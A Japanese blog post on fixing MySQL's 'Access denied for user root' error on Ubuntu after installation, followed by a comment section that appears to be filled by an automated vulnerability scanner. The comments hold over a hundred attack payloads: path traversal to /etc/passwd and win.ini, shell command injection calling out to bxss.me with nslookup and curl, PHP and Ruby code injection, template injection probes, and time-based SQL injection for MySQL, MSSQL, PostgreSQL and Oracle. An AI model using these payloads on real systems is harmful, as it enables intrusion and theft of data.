「Access denied for user」の原因と解決方法
2025年05月17日
閲覧数:210173
事象:Ubuntuにて、MySqlインストールして使おうとしたら、「Access denied for user」というエラーが表示される


下記のコマンドで、UbuntuでMySQLインストール後にmysql -u root -p でログインしようとすると Access denied for user 'root'@'localhost' と出て弾かれる。


$ sudo apt update
$ sudo apt install mysql-server



解決方法

解決策は簡単です。


MySQL 5.7以降では、MySQLのrootユーザはデフォルトではそもそもパスワードによるログインができないようになっています。
パスワードの代わりに、
システムのrootユーザ(ここではOSがUbuntuなのでUbuntuのrootユーザ)情報でログインする必要があります。
すなわち、以下のようにsudoでMySQLのrootユーザとしてもMySQLにログインできます。


1.RootユーザでMysqlにログインする

sudo mysql


2.下記のコマンドで、example_user を作成する

CREATE USER 'example_user'@'%' IDENTIFIED BY 'password';


3.このユーザーに example_database データベースに対する権限を付与します。

GRANT ALL ON example_database.* TO 'example_user'@'%';


これにより、example_user ユーザーに example_database データベースに対する完全な権限が付与されますが、

このユーザーがサーバー上の他のデータベースを作成または変更することはできなくなります。

次のコマンドで MySQL シェルを終了します。


exit


4.今回はカスタム ユーザー資格情報を使用して MySQL コンソールに再度ログインし、新しいユーザーに適切な権限があるかどうかをテストします。

mysql -u example_user -p

このコマンドの -p フラグに注目してください。

これにより、example_user ユーザーの作成時に使用したパスワードの入力が求められます。

MySQL コンソールにログインしたら、example_database データベースにアクセスできることを確認してください。


SHOW DATABASES;





参考記事

 

Ubuntu 20.04にMySQLをインストールする方法

https://www.digitalocean.com/community/tutorials/how-to-install-mysql-on-ubuntu-20-04-ja 

 https://www.digitalocean.com/community/tutorials/how-to-install-lamp-stack-on-ubuntu#step-5-testing-php-processing-on-your-web-server 



关注 收藏
2026年03月06日
555
回复
2026年03月06日
/../../../../../../../../../../windows/system32/BITSADMIN.exe
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
2RydDkIz
回复
2026年03月06日
555
回复
2026年03月06日
GjCnn0OK: 9IdPrAdR
回复
2026年03月06日
${10000293+9999312}
回复
2026年03月06日
555
回复
2026年03月06日
response.write(9825393*9180686)
回复
2026年03月06日
'+response.write(9825393*9180686)+'
回复
2026年03月06日
"+response.write(9825393*9180686)+"
回复
2026年03月06日
<% response.write(9825393*9180686) %>
回复
2026年03月06日
555&n984686=v900136
回复
2026年03月06日
+response.write(9825393*9180686)'
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
../../../../../../../../../../../../../../etc/passwd
回复
2026年03月06日
../../../../../../../../../../../../../../windows/win.ini
回复
2026年03月06日
file:///etc/passwd
回复
2026年03月06日
555
回复
2026年03月06日
../555
回复
2026年03月06日
./555
回复
2026年03月06日
)
回复
2026年03月06日
555
回复
2026年03月06日
!(()&&!|*|*|
回复
2026年03月06日
555
回复
2026年03月06日
^(#$!@#$)(()))******
回复
2026年03月06日
555
回复
2026年03月06日
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
回复
2026年03月06日
HttP://bxss.me/t/xss.html?%00
回复
2026年03月06日
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
回复
2026年03月06日
bxss.me/t/xss.html?%00
回复
2026年03月06日
/etc/shells
回复
2026年03月06日
555
回复
2026年03月06日
../../../../../../../../../../../../../../etc/shells
回复
2026年03月06日
c:/windows/win.ini
回复
2026年03月06日
bxss.me
回复
2026年03月06日
'.gethostbyname(lc('hityy'.'nexjjzsf334cb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(71).chr(117).chr(67).'
回复
2026年03月06日
Http://bxss.me/t/fit.txt
回复
2026年03月06日
".gethostbyname(lc("hitms"."dfitcsjl8e0f7.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(80).chr(119).chr(79)."
回复
2026年03月06日
http://bxss.me/t/fit.txt?.jpg
回复
2026年03月06日
gethostbyname(lc('hitoy'.'renzuvqvec19f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(86).chr(102).chr(74)
回复
2026年03月06日
回复
2026年03月06日
555
回复
2026年03月06日
echo nahrvw$()\ wmuyhf\nz^xyu||a #' &echo nahrvw$()\ wmuyhf\nz^xyu||a #|" &echo nahrvw$()\ wmuyhf\nz^xyu||a #
回复
2026年03月06日
回复
2026年03月06日
&echo jmbqge$()\ ssgqef\nz^xyu||a #' &echo jmbqge$()\ ssgqef\nz^xyu||a #|" &echo jmbqge$()\ ssgqef\nz^xyu||a #
回复
2026年03月06日
'"()
回复
2026年03月06日
555&echo fjmoir$()\ roioqa\nz^xyu||a #' &echo fjmoir$()\ roioqa\nz^xyu||a #|" &echo fjmoir$()\ roioqa\nz^xyu||a #
回复
2026年03月06日
555'&&sleep(27*1000)*txklby&&'
回复
2026年03月06日
|echo rfplyy$()\ zrfpuj\nz^xyu||a #' |echo rfplyy$()\ zrfpuj\nz^xyu||a #|" |echo rfplyy$()\ zrfpuj\nz^xyu||a #
回复
2026年03月06日
555"&&sleep(27*1000)*efjzis&&"
回复
2026年03月06日
555|echo nzrcbq$()\ nhdehf\nz^xyu||a #' |echo nzrcbq$()\ nhdehf\nz^xyu||a #|" |echo nzrcbq$()\ nhdehf\nz^xyu||a #
回复
2026年03月06日
555'||sleep(27*1000)*iezadi||'
回复
2026年03月06日
expr 9000499823 - 948643
回复
2026年03月06日
555"||sleep(27*1000)*ibefyb||"
回复
2026年03月06日
"+"A".concat(70-3).concat(22*4).concat(104).concat(81).concat(116).concat(74)+(require"socket" Socket.gethostbyname("hittf"+"hzwkenok58f84.bxss.me.")[3].to_s)+"
回复
2026年03月06日
(nslookup -q=cname hitjhtdhvoobj1e3e9.bxss.me||curl hitjhtdhvoobj1e3e9.bxss.me))
回复
2026年03月06日
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
回复
2026年03月06日
'+'A'.concat(70-3).concat(22*4).concat(108).concat(89).concat(109).concat(80)+(require'socket' Socket.gethostbyname('hithx'+'tczlysar89ac7.bxss.me.')[3].to_s)+'
回复
2026年03月06日
$(nslookup -q=cname hitiqbkdmmlxb6b49c.bxss.me||curl hitiqbkdmmlxb6b49c.bxss.me)
回复
2026年03月06日
';print(md5(31337));$a='
回复
2026年03月06日
'A'.concat(70-3).concat(22*4).concat(105).concat(90).concat(119).concat(70)+(require'socket' Socket.gethostbyname('hitgl'+'nmdibjdf3c756.bxss.me.')[3].to_s)
回复
2026年03月06日
BlogsItem.aspx
回复
2026年03月06日
&nslookup -q=cname hitxykbkvsbsx10ca5.bxss.me&'\"`0&nslookup -q=cname hitxykbkvsbsx10ca5.bxss.me&`'
回复
2026年03月06日
";print(md5(31337));$a="
回复
2026年03月06日
redirtest.acx
回复
2026年03月06日
paddingBlogsItem.aspx
回复
2026年03月06日
&(nslookup -q=cname hithnazwpmjwed7228.bxss.me||curl hithnazwpmjwed7228.bxss.me)&'\"`0&(nslookup -q=cname hithnazwpmjwed7228.bxss.me||curl hithnazwpmjwed7228.bxss.me)&`'
回复
2026年03月06日
${@print(md5(31337))}
回复
2026年03月06日
BlogsItem.aspx
回复
2026年03月06日
${@print(md5(31337))}\
回复
2026年03月06日
|(nslookup -q=cname hitwxdjpcpvgx11b98.bxss.me||curl hitwxdjpcpvgx11b98.bxss.me)
回复
2026年03月06日
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
回复
2026年03月06日
paddingBlogsItem.aspx
回复
2026年03月06日
'.print(md5(31337)).'
回复
2026年03月06日
xfs.bxss.me
回复
2026年03月06日
`(nslookup -q=cname hitmjwrnirqtz6d96b.bxss.me||curl hitmjwrnirqtz6d96b.bxss.me)`
回复
2026年03月06日
BlogsItem.aspx/.
回复
2026年03月06日
;(nslookup -q=cname hitqcvqehlbmuc6b86.bxss.me||curl hitqcvqehlbmuc6b86.bxss.me)|(nslookup -q=cname hitqcvqehlbmuc6b86.bxss.me||curl hitqcvqehlbmuc6b86.bxss.me)&(nslookup -q=cname hitqcvqehlbmuc6b86.bxss.me||curl hitqcvqehlbmuc6b86.bxss.me)
回复
2026年03月06日
paddingBlogsItem.aspx/.
回复
2026年03月06日
|(nslookup${IFS}-q${IFS}cname${IFS}hitriwqefsamlcf18a.bxss.me||curl${IFS}hitriwqefsamlcf18a.bxss.me)
回复
2026年03月06日
&(nslookup${IFS}-q${IFS}cname${IFS}hitfpbkexabbx77e97.bxss.me||curl${IFS}hitfpbkexabbx77e97.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitfpbkexabbx77e97.bxss.me||curl${IFS}hitfpbkexabbx77e97.bxss.me)&`'
回复
2026年03月06日
'"
回复
2026年03月06日
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
555'"()&%
回复
2026年03月06日
5559654910
回复
2026年03月06日
bfg1743<s1?s2?s3?hjl1743
回复
2026年03月06日
bfgx9817??z1??z2a?bcxhjl9817
回复
2026年03月06日
<%={{={@{#{${dfb}}%>
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
回复
2026年03月06日
555
回复
2026年03月06日
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
dfb{{98991*97996}}xca
回复
2026年03月06日
dfb[[${98991*97996}]]xca
回复
2026年03月06日
555
回复
2026年03月06日
dfb__${98991*97996}__::.x
回复
2026年03月06日
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
回复
2026年03月06日
bfg9152<s1?s2?s3?hjl9152
回复
2026年03月06日
bfgx9492??z1??z2a?bcxhjl9492
回复
2026年03月06日
<%={{={@{#{${dfb}}%>
回复
2026年03月06日
555
回复
2026年03月06日
回复
2026年03月06日
555
回复
2026年03月06日
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
回复
2026年03月06日
555
回复
2026年03月06日
dfb{{98991*97996}}xca
回复
2026年03月06日
dfb[[${98991*97996}]]xca
回复
2026年03月06日
dfb__${98991*97996}__::.x
回复
2026年03月06日
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
555
回复
2026年03月06日
-1 OR 5*5=25 --
回复
2026年03月06日
-1 OR 5*5=26 --
回复
2026年03月06日
-1 OR 3*2>999 --
回复
2026年03月06日
-1 OR 3*2>5 --
回复
2026年03月06日
-1 OR 5*5=25
回复
2026年03月06日
-1 OR 5*5=26
回复
2026年03月06日
-1 OR 3*2>999
回复
2026年03月06日
-1 OR 3*2>5
回复
2026年03月06日
-1' OR 5*5=25 --
回复
2026年03月06日
-1' OR 5*5=26 --
回复
2026年03月06日
-1' OR 3*2>999 --
回复
2026年03月06日
-1' OR 3*2>5 --
回复
2026年03月06日
-1" OR 5*5=25 --
回复
2026年03月06日
-1" OR 5*5=26 --
回复
2026年03月06日
-1" OR 3*2>999 --
回复
2026年03月06日
-1" OR 3*2>5 --
回复
2026年03月06日
-1' OR 5*5=25 or 'XhBfh6KX'='
回复
2026年03月06日
-1' OR 5*5=26 or 'XhBfh6KX'='
回复
2026年03月06日
-1' OR 3*2<5 or 'XhBfh6KX'='
回复
2026年03月06日
-1' OR 780=780 or 'XhBfh6KX'='
回复
2026年03月06日
-1" OR 5*5=25 or "BYrinlS3"="
回复
2026年03月06日
-1" OR 5*5=26 or "BYrinlS3"="
回复
2026年03月06日
-1" OR 3*2<5 or "BYrinlS3"="
回复
2026年03月06日
-1" OR 693=693 or "BYrinlS3"="
回复
2026年03月06日
555*if(now()=sysdate(),sleep(15),0)
回复
2026年03月06日
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
回复
2026年03月06日
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
回复
2026年03月06日
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
回复
2026年03月06日
555-1; waitfor delay '0:0:15' --
回复
2026年03月06日
555-1); waitfor delay '0:0:15' --
回复
2026年03月06日
555-1)); waitfor delay '0:0:15' --
回复
2026年03月06日
555-1 waitfor delay '0:0:15' --
回复
2026年03月06日
555JOHayD87'; waitfor delay '0:0:15' --
回复
2026年03月06日
555dvqrk9I4'); waitfor delay '0:0:15' --
回复
2026年03月06日
555PPGwKLiC')); waitfor delay '0:0:15' --
回复
2026年03月06日
555-1 OR 889=(SELECT 889 FROM PG_SLEEP(15))--
回复
2026年03月06日
555-1) OR 245=(SELECT 245 FROM PG_SLEEP(15))--
回复
2026年03月06日
555-1)) OR 737=(SELECT 737 FROM PG_SLEEP(15))--
回复
2026年03月06日
555J1nvNtlU' OR 404=(SELECT 404 FROM PG_SLEEP(15))--
回复
2026年03月06日
555LphLnXJZ') OR 167=(SELECT 167 FROM PG_SLEEP(15))--
回复
2026年03月06日
555JHi036bU')) OR 743=(SELECT 743 FROM PG_SLEEP(15))--
回复
2026年03月06日
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
回复
2026年03月06日
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
回复
2026年03月06日
555
回复
2026年03月06日
555'"
回复
2026年03月06日
555????%2527%2522\'\"
回复
2026年03月06日
@@Nyi3s
回复
2026年03月06日
(select 198766*667891)
回复
2026年03月06日
(select 198766*667891 from DUAL)
回复
2026年03月06日
555
回复